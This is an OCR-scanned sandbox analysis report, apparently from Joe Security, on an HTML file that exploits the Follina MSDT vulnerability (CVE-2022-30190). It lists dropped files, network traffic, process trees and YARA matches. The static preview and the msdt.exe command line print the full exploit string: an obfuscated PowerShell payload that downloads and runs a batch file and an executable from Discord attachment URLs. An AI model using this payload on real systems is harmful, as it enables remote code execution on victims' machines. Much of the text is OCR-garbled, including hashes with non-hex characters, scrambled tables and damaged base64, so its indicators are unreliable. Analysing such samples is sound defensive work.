C:\Users\user\AppData\Local\Temp\6008_696798426\manifest.json

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text

dropped

76

4.169145448714876

false

3:rR6TAulhFphifFY8Wypv/KS1f:F6VIMQyBSS1f
4AAAOEDB099ECC1DA778A9BC39393808
OE4A733A5AF337F101CFA6BEASEBC153380F7B05
20B91160E2611D3159AD82857323FEBC906457756678AB73F305C3A1E399D18D

DFA942C35E1E5F62DD8840C97693CDBFD6D71A1FD2F42E26CB75B98BB6A1818395ECDF552D46F07DFF1E9C74F1493A39E05B14E3409963EFF1ADA888971528
9

false

{. "manifest_version": 2,. "name": "sslErrorAssistant",. "version": "7".}

C:\Users\user\AppData\Local\Temp\6008_696798426\ssl_error_assistant.pb

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

2816

6.108955364911366

false
48:jkbh6AW2Bfc30sI6Hc3+XgU+EVeY55J4gXM/QDH4yqg2dxckdfmkM:jkbhM2a3pntgQVb8Ylg2di
E2F792C9E2DD86F39E8286B2EAD2FC70
8A32867614D2A23E473ED642056DED8BES66687F9
AC354A4723AAA4F06BEC385DDDE4A4D0983AD51456F52B31A8068EC97D5B5EAT

6A7AFOCA1EFAG65A89A9CA3BBDFOD2E24F21D91673C60CDFEEB02D33647442B01D535497249542F40E66E0D2DD3ESFS8ED1F4A201FD97138D07A2B71366737E5¢
0

false

...5.3sha256/fjzZPHewEHTrMDX3I1ecEleoy3WFxHyGplOLv28klIbtl=.5.3sha256/m/nBiLhStttulYmOz7Y3D2uliB1dV2CblfFa3R2YW5M=.5.3sha256/8Iuf4xR
bVCmCMQTJIn3rxlgllO110KoyuSUgmXyfalKs=.5.3sha256/8IHdrS+r6|WzSMcRcD/GA6MBxk1ECX8tGRWOrtGWILE=.5.3sha256/k/2eeJTznE32mblA/dul9wpVDSI
ReFX44M8wXa2JY30=.5.3sha256/urWwd7jMwR6DJIgvWhp6xfRHF5b/cba3iG0ggXtTR6AfM=.5.3sha256/IJPCDSE5tMIH3nuD5mERU2i9KDAPXVn4gmC/ULIcZzc=.5.
3sha256/0Gy8RMdbxHNWR2GQJ62QKDXORYf5IJmMmnrlFIFPYpzM=.5.3sha256/8tTICtyaxIQrdbYYDdgZhTNOOpMIKkY ndvolmtwlYs5E=.5.3sha256/F7HIllsaG0bpJ
W8CzYekRbtFqLVTTGqwvuwPDanlLct0=.5.3sha256/zaV2Aw1A742R1+WpXWvL5atsJbGmeSS6dzZOfe6f1Yw=.5.3sha256/UwOKRGMIPOK/mKNJdpQOsTg2ean9Tje8
UTOVFYzt1GE=.5.3sha256/w7KUXE4/BA01YVZdO3mBsrMpu4lQuNOmhUXUI//agVU=.5.3sha256/InPvGqEn36FHQIBXtG1uWwNtdMjlo20jR/asqyypNk=.5.3sha2
56/AUSXIKDCf1X30WhWeAWbjToABfBkIrKWPLEKWEiISVHO0=.5.3sha256/zSyVjjFIMIeXKO0ktVTljewwr6U50ePRqyY/NEXTI4P8=.5.3sha256/9dcHIrXN2WV/ehbEd
MxMZ8IV4qvGejCtNC5r6nfTviM=.5.3sha256/E+0WZLGSle5nddIVKZ5fYzaNHHCE3hNgi/OWZD3iKgA=.5.3sha2

C:\Users\user\AppData\Local\Temp\aOe2a87f-bf77-417d-9efe-cb150f92210e.tmp

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3Ll

MD5: 5058F1AF8388633F609CADB75A75DC9D

SHAL: 3A52CE780950D4D969792A2559CD519D7EE8C727

SHA-256: CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0O336FC02A82E1839A8

SHA-512: 0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CCO9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CEO3BBF1E94E93613A00F2
5F21

Malicious: false

Preview:

Static File Info
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General

File type: HTML document, ASCII text, with very long lines

Entropy (8bit):  5.243116115610127

TriD: e HTML Application (8008/1) 100.00%

File name: nFOtrs9UzA.html

File size: 5005

MD5: €84460851147b8660ef77cf536b4e567

SHAL: d3fd435c851b13bca505eab06834e5fc2elflbf2

SHA256: c61fe40f46226d24f0f17c46acc4db6a0091c68abc6a3d995b3f6dflbbfchble

SHA512: 9744984e601d15b01b36739881e05b1d7891aed590435a489293630e7f0df3bf54f25618c06353926c88142b3bbc188b69e13cd33225bfbf27295f4255603614
SSDEEP: 96:QUPDI7HFUbUfLKrDTLr4ywTHbmEI02sLty9G05:QUPDdX2/4PbmEloZ/e

TLSH: CDA15CB067361585565A728711FCFD854B52BC333703EAFCODCE042BA058B58A8EAG68

File Content <script>location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-
Preview: Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+

File Icon

Icon Hash: e©8d6a08c8882c461

Network Behavior

Network Port Distribution

TCP Packets

Timestamp

Jun 15, 2022 09:12:20.665666103 CEST
Jun 15, 2022 09:12:20.665707111 CEST
Jun 15, 2022 09:12:20.665779114 CEST
Jun 15, 2022 09:12:20.667434931 CEST
Jun 15, 2022 09:12:20.667500973 CEST
Jun 15, 2022 09:12:20.667584896 CEST
Jun 15, 2022 09:12:20.667958975 CEST
Jun 15, 2022 09:12:20.667984962 CEST
Jun 15, 2022 09:12:20.668216944 CEST
Jun 15, 2022 09:12:20.668240070 CEST
Jun 15, 2022 09:12:20.721956968 CEST
Jun 15, 2022 09:12:20.722575903 CEST
Jun 15, 2022 09:12:20.728888035 CEST
Jun 15, 2022 09:12:20.728918076 CEST

Copyright Joe Security LLC 2022

Total Packets: 33

® 53 (DNS)
® 443 (HTTPS)

Source Port
49734
443
49734
49735
443
49735
49734
443
49735
443
443
443
49734
443

Dest Port
443
49734
443
443
49735
443
443
49734
443
49735
49734
49735
443
49734

Source IP
192.168.2.4
172.217.168.45
192.168.2.4
192.168.2.4
142.250.203.110
192.168.2.4
192.168.2.4
172.217.168.45
192.168.2.4
142.250.203.110
172.217.168.45
142.250.203.110
192.168.2.4
172.217.168.45

Dest IP
172.217.168.45
192.168.2.4
172.217.168.45
142.250.203.110
192.168.2.4
142.250.203.110
172.217.168.45
192.168.2.4
142.250.203.110
192.168.2.4
192.168.2.4
192.168.2.4
172.217.168.45
192.168.2.4
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Timestamp

Jun 15, 2022 09:12:20.729260921 CEST
Jun 15, 2022 09:12:20.729296923 CEST
Jun 15, 2022 09:12:20.729876041 CEST
Jun 15, 2022 09:12:20.729964972 CEST
Jun 15, 2022 09:12:20.730195999 CEST
Jun 15, 2022 09:12:20.730279922 CEST
Jun 15, 2022 09:12:20.730730057 CEST
Jun 15, 2022 09:12:20.730827093 CEST
Jun 15, 2022 09:12:20.929919004 CEST
Jun 15, 2022 09:12:20.930133104 CEST
Jun 15, 2022 09:12:20.930214882 CEST
Jun 15, 2022 09:12:20.930351019 CEST
Jun 15, 2022 09:12:20.930402040 CEST
Jun 15, 2022 09:12:20.930425882 CEST
Jun 15, 2022 09:12:20.930463076 CEST
Jun 15, 2022 09:12:20.930480957 CEST
Jun 15, 2022 09:12:20.964725018 CEST
Jun 15, 2022 09:12:20.964838028 CEST
Jun 15, 2022 09:12:20.964854002 CEST
Jun 15, 2022 09:12:20.964917898 CEST
Jun 15, 2022 09:12:20.966515064 CEST
Jun 15, 2022 09:12:20.966533899 CEST
Jun 15, 2022 09:12:20.985281944 CEST
Jun 15, 2022 09:12:20.985399961 CEST
Jun 15, 2022 09:12:20.985419989 CEST
Jun 15, 2022 09:12:20.985553980 CEST
Jun 15, 2022 09:12:20.985647917 CEST
Jun 15, 2022 09:12:20.990107059 CEST

Jun 15, 2022 09:12:20.990129948 CEST

UDP Packets

Timestamp

Jun 15, 2022 09:12:20.628755093 CEST
Jun 15, 2022 09:12:20.631031990 CEST
Jun 15, 2022 09:12:20.650609970 CEST
Jun 15, 2022 09:12:20.656637907 CEST
Jun 15, 2022 09:12:22.837893963 CEST
Jun 15, 2022 09:12:22.868222952 CEST
Jun 15, 2022 09:12:22.868736982 CEST
Jun 15, 2022 09:12:22.899276018 CEST
Jun 15, 2022 09:12:22.899307013 CEST
Jun 15, 2022 09:12:22.899323940 CEST
Jun 15, 2022 09:12:22.899362087 CEST
Jun 15, 2022 09:12:22.924278975 CEST
Jun 15, 2022 09:12:22.928837061 CEST
Jun 15, 2022 09:12:22.942148924 CEST
Jun 15, 2022 09:12:22.942178965 CEST
Jun 15, 2022 09:12:22.951054096 CEST
Jun 15, 2022 09:12:22.951471090 CEST
Jun 15, 2022 09:12:22.952671051 CEST
Jun 15, 2022 09:12:22.993985891 CEST
Jun 15, 2022 09:12:22.995671988 CEST
Jun 15, 2022 09:12:23.011687994 CEST
Jun 15, 2022 09:12:23.011718988 CEST
Jun 15, 2022 09:12:23.011742115 CEST
Jun 15, 2022 09:12:23.024205923 CEST
Jun 15, 2022 09:12:23.024534941 CEST
Jun 15, 2022 09:12:23.030205965 CEST

Copyright Joe Security LLC 2022

Source Port
49735
443
443
49735
443
49734
443
49735
49735
49734
443
443
49735
443
49734
443
443
49735
443
49735
49735
443
443
49734
443
443
49734
49734
443

Source Port
60506
64277
53

53
56511
443
56511
443
443
443
443
56511
56511
443
443
56511
56511
56511
443
443
443
443
443
56511
56511
443

Dest Port
443
49735
49735
443
49734
443
49735
443
443
443
49735
49734
443
49735
443
49734
49735
443
49735
443
443
49735
49734
443
49734
49734
443
443
49734

Dest Port
53

53
64277
60506
443
56511
443
56511
56511
56511
56511
443
443
56511
56511
443
443
443
56511
56511
56511
56511
56511
443
443
56511

Source IP
192.168.2.4
142.250.203.110
142.250.203.110
192.168.2.4
172.217.168.45
192.168.2.4
142.250.203.110
192.168.2.4
192.168.2.4
192.168.2.4
142.250.203.110
172.217.168.45
192.168.2.4
142.250.203.110
192.168.2.4
172.217.168.45
142.250.203.110
192.168.2.4
142.250.203.110
192.168.2.4
192.168.2.4
142.250.203.110
172.217.168.45
192.168.2.4
172.217.168.45
172.217.168.45
192.168.2.4
192.168.2.4

172.217.168.45

Source IP
192.168.2.4
192.168.2.4
8.8.8.8

8.8.8.8
192.168.2.4
142.250.203.110
192.168.2.4
142.250.203.110
142.250.203.110
142.250.203.110
142.250.203.110
192.168.2.4
192.168.2.4
142.250.203.110
142.250.203.110
192.168.2.4
192.168.2.4
192.168.2.4
142.250.203.110
142.250.203.110
142.250.203.110
142.250.203.110
142.250.203.110
192.168.2.4
192.168.2.4
142.250.203.110

Dest IP
142.250.203.110
192.168.2.4
192.168.2.4
142.250.203.110
192.168.2.4
172.217.168.45
192.168.2.4
142.250.203.110
142.250.203.110
172.217.168.45
192.168.2.4
192.168.2.4
142.250.203.110
192.168.2.4
172.217.168.45
192.168.2.4
192.168.2.4
142.250.203.110
192.168.2.4
142.250.203.110
142.250.203.110
192.168.2.4
192.168.2.4
172.217.168.45
192.168.2.4
192.168.2.4
172.217.168.45
172.217.168.45

192.168.2.4

Dest IP

8.8.8.8

8.8.8.8
192.168.2.4
192.168.2.4
142.250.203.110
192.168.2.4
142.250.203.110
192.168.2.4
192.168.2.4
192.168.2.4
192.168.2.4
142.250.203.110
142.250.203.110
192.168.2.4
192.168.2.4
142.250.203.110
142.250.203.110
142.250.203.110
192.168.2.4
192.168.2.4
192.168.2.4
192.168.2.4
192.168.2.4
142.250.203.110
142.250.203.110
192.168.2.4
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Timestamp

Jun 15, 2022 09:12:23.035757065 CEST

DNS Queries

Timestamp

Jun 15, 2022 09:12:20.628755093 CEST

Jun 15, 2022 09:12:20.631031990 CEST

DNS Answers
Timestamp Source IP
Jun 15, 2022 8.8.8.8

09:12:20.650609970 CEST

Jun 15, 2022 8.8.8.8
09:12:20.650609970 CEST

Jun 15, 2022 8.8.8.8
09:12:20.656637907 CEST

HTTP Request Dependency Graph

e accounts.google.com

e clients2.google.com

HTTPS Proxied Packets
Session ID Source IP
0 192.168.2.4
. kBytes
T
imestamp transferred

2022-06-15 07:12:20 UTC 0O

2022-06-15 07:12:20 UTC 1

Copyright Joe Security LLC 2022

Source Port Dest Port
56511 443
Source IP Dest IP Trans ID
192.168.2.4 8.8.8.8 Ox2ee
192.168.2.4 8.8.8.8 0x2140
Dest IP Trans ID Reply Code Name
192.168.2.4 0x2140 No error (0) clients2.g
oogle.com
192.168.2.4 0x2140 No error (0) clients.|.
google.com
192.168.2.4 Ox2ee No error (0) accounts.g
oogle.com
Source Port Destination IP UGB Process

49734

Direction

ouT

ouT

Port

172.217.168.45 443

Data

Source IP Dest IP

192.168.2.4 142.250.203.110
OP Code Name Type Class
Standard query  accounts.g A (IP address) IN (0x0001)
(0) oogle.com
Standard query  clients2.g A (IP address) IN (0x0001)
(0) oogle.com
CName Address Type Class
clients.l.google.co CNAME IN
m (Canonical (0x0001)
name)
142.250.203.110 A (IP address) IN
(0x0001)
172.217.168.45 A (IP address) IN
(0x0001)

C:\Program Files\Google\Chrome\Application\chrome.exe

POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1

Host: accounts.google.com

Connection: keep-alive
Content-Length: 1

Origin: https://www.google.com
Content-Type: application/x-www-form-urlencoded

Sec-Fetch-Site: none

Sec-Fetch-Mode: no-cors

Sec-Fetch-Dest: empty

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.

121 Safari/537.36

Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

Data Raw: 20
Data Ascii:
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kBytes

Timestam
P transferred

2022-06-15 07:12:20 UTC 2

2022-06-15 07:12:20 UTC 4

2022-06-15 07:12:20 UTC 4

Session ID Source IP
1 192.168.2.4
. kBytes
Timestam|
P transferred

2022-06-15 07:12:20 UTC 0

2022-06-15 07:12:20 UTC 1

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49735

Direction

ouT

Data

HTTP/1.1 200 OK

Content-Type: application/json; charset=utf-8

Access-Control-Allow-Origin: https://www.google.com

Access-Control-Allow-Credentials: true

X-Content-Type-Options: nosniff

Cache-Control: no-cache, no-store, max-age=0, must-revalidate

Pragma: no-cache

Expires: Mon, 01 Jan 1990 00:00:00 GMT

Date: Wed, 15 Jun 2022 07:12:20 GMT

Strict-Transport-Security: max-age=31536000; includeSubDomains

Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/ldentityListAccountsHttp/cspreport
Content-Security-Policy: script-src ‘report-sample’ 'nonce-VLC9xZZrAKFAhgHzoguxgA' 'unsafe-inline';object-src 'none’;bas
e-uri 'self';report-uri /_/IdentityListAccountsHttp/cspreport;worker-src ‘self*

Content-Security-Policy: script-src 'nonce-VLC9xZZrAKFAhgHzoguxgA' 'self' https://apis.google.com https://ssl.gstatic.co
m https:/iwww.google.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/IdentityListAccountsHttp
Icspreport

Cross-Origin-Opener-Policy: same-origin; report-to="ldentityListAccountsHttp"

Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-
platform=*, ch-ua-platform-version="*

Report-To: {"group":"IdentityListAccountsHttp","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/rep
ort-to/ldentityListAccountsHttp/external“}]}

Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-M
odel, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version

Server: ESF

X-XSS-Protection: 0

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 31 31 0d Oa 5b 22 67 61 69 61 2e 6¢ 2e 61 2e 72 22 2c 5b 5d 5d 0d Oa
Data Ascii: 11["gaia.l.a.r",[]]

Data Raw: 30 0d Oa 0d Oa

Data Ascii: 0
Destination IP EULCRI Process
Port
142.250.203.110 443 C:\Program Files\Google\Chrome\Application\chrome.exe
Data

GET /service/update2/crx?os=win&arch=x64&0s_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=
&prodversion=85.0.4183.121&lang=en-GB&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%?26v%
3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dpkedcjkdefgpdelp
becmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1
Host: clients2.google.com

Connection: keep-alive

X-Goog-Update-Interactivity: fg

X-Goog-Update-Appld: nmmhkkegccagdldgiimedpiccmgmieda,pkedcjkdefgpdelpbcmbmeomcjbeemfm
X-Goog-Update-Updater: chromecrx-85.0.4183.121

Sec-Fetch-Site: none

Sec-Fetch-Mode: no-cors

Sec-Fetch-Dest: empty

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36

Accept-Encoding: gzip, deflate, br

Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

HTTP/1.1 200 OK

Content-Security-Policy: script-src ‘report-sample’ ‘'nonce-gY SefifkGNslruc55BTBu2A' ‘unsafe-inline' 'strict-dynamic' https:
http:;object-src 'none';base-uri ‘self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1

Cache-Control: no-cache, no-store, max-age=0, must-revalidate

Pragma: no-cache

Expires: Mon, 01 Jan 1990 00:00:00 GMT

Date: Wed, 15 Jun 2022 07:12:20 GMT

Content-Type: text/xml; charset=UTF-8

X-Daynum: 5644

X-Daystart: 740

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked
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kBytes

UEIEEETI) transferred
2022-06-15 07:12:20 UTC 2 IN
2022-06-15 07:12:20 UTC 2 IN
2022-06-15 07:12:20 UTC 2 IN
Statistics

Behavior

Direction

Data

Data Raw: 33 31 39 0d Oa 3c 3f 78 6d 6¢ 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55
54 46 2d 38 22 3f 3e 3¢ 67 75 70 64 61 74 65 20 78 6d 6¢ 6€ 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6 67 6¢ 65
2e 63 6f 6d 2f 75 70 64 61 74 65 32 2f 72 65 73 70 6f 6e 73 65 22 20 70 72 6f 74 6f 63 6f 6¢ 3d 22 32 2e 30 22 20 73 65
727665 72 3d 22 70 72 6f 64 22 3e 3c 64 61 79 73 74 61 72 74 20 65 6¢ 61 70 73 65 64 5f 64 61 79 73 3d 22 35 36 34
34 2220 65 6¢ 61 70 73 65 64 5f 73 65 63 6f 6 64 73 3d 22 37 34 30 22 2f 3e 3¢ 61 70 70 20 61 70 70 69 64 3d 22 6e 6d
6d 68 6b 6b 65 67 63 63 61 67 64 6C 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 22 20 63 6f 68 6f 72 74 3d
22 31 3a 3a 22 20 63 6f 68 6f 72 74 6e 61 6d 65 3d 22 22 20 73

Data Ascii: 319<?xml version="1.0" encoding="UTF-8"?><gupdate xmlIns="http://www.google.com/update2/response" p
rotocol="2.0" server="prod"><daystart elapsed_days="5644" elapsed_seconds="740"/><app appid="nmmhkkegccagdldgi
imedpiccmgmieda” cohort="1::" cohortname=""s

Data Raw: 6b 65 67 63 63 61 67 64 6¢ 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 2e 63 72 78 22 20 66 70
3d 22 31 2e 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 37 31 37
35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 68 61 73 68 5f 73 68 61
32 3536 3d 22 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 37 31
37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 70 72 6f 74 65 63 74
65 64 3d 22 30 22 20 73 69 7a 65 3d 22 32 34 38 35 33 31 22 20 73 74 61 74 75 73 3d 22 6f 6b 22 20 76 65 72 73 69 6f
6e 3d 22 31 2e 30 2e 30 2e 36 22 2f 3e 3¢ 2f 61 70 70 3e 3c 61 70 70 20 61

Data Ascii: kegccagdldgiimedpiccmgmieda.crx” fp="1.81e3a4d43a73699e1b7781723f56b8717175c536685c54501
22b30789464ad82" hash_sha256="81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" prot
ected="0" size="248531" status="ok" version="1.0.0.6"/></app><app a

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

@ chrome.exe
@ chrome.exe

@ msdt.exe
@ Click to jump to process
System Behavior
Analysis Process: chrome.exe PID: 6008, Parent PID: 4468
General
Target ID: 0
Start time: 09:12:15
Start date: 15/06/2022
Path: C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit): false
Commandline: C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --enable-automation "C:\Users\user\Desktop\nFOtrsQUzA.html
Imagebase: 0x7ff7964c0000
File size: 2150896 bhytes
MDS5 hash: C139654B5C1438A95B321BB01AD63EF6
Has elevated privileges: true

Copyright Joe Security LLC 2022
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Has administrator
privileges:

Programmed in:

Reputation:

File Activities

true

C, C++ or other language

high

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

File Path

Old File Path

File Path

Registry Activities

Key Path

Key Path

Key Value Modified

Key Path

HKEY_CURRENT_US dr

ER\Software\Goo
gle\Update\ClientState
\{8BA69D345-D564-
463c-AFF1-
A69DIE530F96}

Name

Access Attributes Options Completion
Completion
New File Path Completion
Offset Length Value Ascii Completion
Completion
Name Type Data Completion
Type Old Data New Data Completion
unicode 0 1 success or wait

Analysis Process: chrome.exe PID: 2092, Parent PID: 6008

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:
File size:

MDS5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

File Activities

1

09:12:17

15/06/2022

C:\Program Files\Google\Chrome\Application\chrome.exe

false

Count Source Address Symbol
Count Source Address Symbol
Count Source Address Symbol
Count Source Address Symbol
Count Source Address Symbol
Count Source Address Symbol
Source
Count Address Symbol
1 7FF7964FFC4B  RegSetValueEx

W

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1556,10822
360021867408005,7468589743208575355,131072 --lang=en-GB --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-

handle=1960 /prefetch:8

0x7ff7338d0000

2150896 bytes
C139654B5C1438A95B321BB01AD63EF6
true

true

C, C++ or other language

high

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

File Path

Old File Path

File Path

Access Attributes Options Completion
Completion
New File Path Completion
Offset Length Value Ascii Completion

Copyright Joe Security LLC 2022

Count Source Address Symbol

Count Source Address

Symbol

Count Source Address Symbol

Count Source Address Symbol
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Analysis Process: msdt.exe PID: 6784, Parent PID: 6008

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Yara matches:

Reputation:

File Activities

File Created
File Path

C:\Users

C:\Users\user

C:\Users\user\AppData

C:\Users\user\AppData\Local

C:\Users\user\AppData\Local\Temp

C:\Users\user\AppData\Local\Temp\msdtadmin

Copyright Joe Security LLC 2022

12

09:12:42

15/06/2022
C:\Windows\System32\msdt.exe
false

"C:\Windows\system32\msdt.exe" ms-msdt:/id%20PCWDiagnostic%20/skip%20force%20/param%20%22IT_RebrowseForFile=?%20IT_LaunchMethod=Co
ntextMenu%20IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+UTF8.GetString([System.Convert]'+
[char]58+[char]58+'FromBase64String(‘+[char]34+'SW52b2tILVdIYJIcXVIc3QgaHROcHM6LY9jZG4uZGlzY29yZGFwcC5jb20vYXROYWNobWVudHMv
OTgONjg50DU40DMwMjcwNDc3Lzk4NjQyMjI3NzMxNjkzOTgxNi9jLmJIhdCAtT3VORmIsZSBDOIxXaW5kb3dzXFRhc2tzXGMuYmF0OIDsgU3RhcnQtUHJvY2Vz
cyAtRmIsZVBhdGggJOM6XFdpbmRvd3NcVGFza3NcYy5iYXQnIC1XaW5kb3dTdHISZSBIaWRKZWA7IEIudm9rZS1XZWJSZXF1ZXNOIGhOdHBzOi8vY2RuLmRp
c2NvemRhcHAUY29tL 2F0dGFjaG1lbnRzLzk4NTM2Mzc3M;jIxNjYwNjcIMC850DUzNjQXxMTE4NzEzZMTU5SNjgvV29yZC5leGUgLU91dEZpbGUgQzpcV2IuzG93
cIXUYXNrc1xXb3JkLmV4ZTsgQzpcV2luZG93c1xUYXNrc1xXb3IkLmVAZSAT7 +[char]|34+))))il..[..0..0 .0l ] .l A0 ] ] ] .| ../Windows/System32/mpsigstub.
exe%22

0x7ff7f7490000

1560576 bytes
8BE43BAF1F37DA5AB31A53CALCO7EEOC
true

true

C, C++ or other language

e Rule: SUSP_Encoded_Discord_Attachment_Oct21_1, Description: Detects suspicious encoded URL to a Discord attachment (often used for malware
hosting on a legitimate FQDN), Source: 0000000C.00000002.669283741.000002CBFCE90000.00000004.00000020.00020000.00000000.sdmp, Author:
Florian Roth

e Rule: JoeSecurity_Follina, Description: Yara detected Microsoft Office Exploit Follina / CVE-2022-30190, Source:
0000000C.00000002.669283741.000002CBFCE90000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

e Rule: SUSP_Encoded_Discord_Attachment_Oct21_1, Description: Detects suspicious encoded URL to a Discord attachment (often used for malware
hosting on a legitimate FQDN), Source: 0000000C.00000002.669847334.000002CBFD114000.00000004.00000020.00020000.00000000.sdmp, Author:
Florian Roth

e Rule: JoeSecurity_Follina, Description: Yara detected Microsoft Office Exploit Follina / CVE-2022-30190, Source:
0000000C.00000002.669847334.000002CBFD114000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

moderate

Access Attributes Options Completion Count Source Address Symbol
read data or list  device directory file | object name collision 1 7FF7F74B75D6 CreateDirect
directory | synchronous io oryWw
synchronize non alert | open

for backup ident

| open reparse

point
read data or list  device directory file | object name collision 1 7TFF7F74B75D6 CreateDirect
directory | synchronous io oryWw
synchronize non alert | open

for backup ident

| open reparse

point
read data or list  device directory file | object name collision 1 7FF7F74B75D6 CreateDirect
directory | synchronous io oryWw
synchronize non alert | open

for backup ident

| open reparse

point
read data or list ~ device directory file | object name collision 1 TFF7F74B75D6 CreateDirect
directory | synchronous io oryWw
synchronize non alert | open

for backup ident

| open reparse

point
read data or list ~ device directory file | object name collision 1 TFF7F74B75D6 CreateDirect
directory | synchronous io oryWw
synchronize non alert | open

for backup ident

| open reparse

point
read data or list  device directory file | success or wait 1 7FF7F74B75D6 CreateDirect
directory | synchronous io oryWw

synchronize non alert | open
for backup ident
| open reparse

point
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File Path

C:\Users\user\AppData\Local\Te

mp\msdtadmin\_68ABB565-6604-4E72-AF31-

4DAED3A2A69B_

C:\Users\user\AppData\Local\Te

mp\msdtadmin\_68ABB565-6604-4E72-AF31-

4D4ED3A2A69B_\inuse

File Path

Disassembly

@ No disassembly

Copyright Joe Security LLC 2022

Access

read data or list
directory |
synchronize

read attributes |
synchronize |
generic read |
generic write

Attributes

device

device

Offset

Options Completion

directory file | success or wait
synchronous io

non alert | open

for backup ident

| open reparse

point

synchronous io  success or wait
non alert | non
directory file

Length Completion

Count Source Address

1 TFF7F74B75D6

1 7TFF7F74B6B19

Count Source Address

Symbol

CreateDirect
oryw

CreateFileW

Symbol
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